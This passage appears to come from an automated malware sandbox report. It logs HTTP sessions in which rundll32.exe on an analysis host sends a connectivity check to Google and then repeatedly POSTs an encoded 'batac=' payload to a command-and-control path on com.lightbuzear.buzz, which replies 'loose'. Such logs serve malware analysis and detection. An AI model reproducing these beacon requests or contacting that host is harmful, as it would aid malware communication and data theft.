2022-08-14 06:39:46 UTC	34	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:39:46 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:39:46 UTC	34	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.22	49174	142.250.185.228	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:39:27 UTC	4	OUT	POST / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: www.Google.com Content-Length: 0 Cache-Control: no-cache
2022-08-14 06:39:27 UTC	4	IN	HTTP/1.1 405 Method Not Allowed Allow: GET, HEAD Date: Sun, 14 Aug 2022 06:39:27 GMT Content-Type: text/html; charset=UTF-8 Server: gws Content-Length: 1589 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2022-08-14 06:39:27 UTC	5	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 35 20 28 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 405 (Method Not Allowed)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px aria
2022-08-14 06:39:27 UTC	5	IN	Data Raw: 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b Data Ascii: ges/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{back

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.22	49192	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:39:47 UTC	34	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:39:47 UTC	35	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:39:47 UTC	36	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:39:47 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:39:47 UTC	36	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.22	49193	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:39:48 UTC	36	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:39:48 UTC	36	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:39:48 UTC	37	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:39:48 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:39:48 UTC	37	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.22	49194	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:39:49 UTC	37	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:39:49 UTC	38	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:39:50 UTC	39	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:39:49 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:39:50 UTC	39	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.22	49195	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:39:50 UTC	39	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:39:50 UTC	39	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:39:51 UTC	41	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:39:50 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:39:51 UTC	41	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.22	49196	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:39:51 UTC	41	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:39:51 UTC	41	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:39:52 UTC	42	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:39:52 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:39:52 UTC	42	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.22	49197	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:39:53 UTC	42	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:39:53 UTC	43	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:39:53 UTC	44	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:39:53 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:39:53 UTC	44	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.22	49198	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:39:54 UTC	44	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:39:54 UTC	44	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:39:54 UTC	45	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:39:54 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:39:54 UTC	46	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.22	49199	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:39:55 UTC	46	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:39:55 UTC	46	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:39:56 UTC	47	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:39:55 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:39:56 UTC	47	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.22	49200	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:39:56 UTC	47	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:39:56 UTC	48	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:39:57 UTC	49	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:39:56 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:39:57 UTC	49	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.22	49201	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:39:57 UTC	49	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
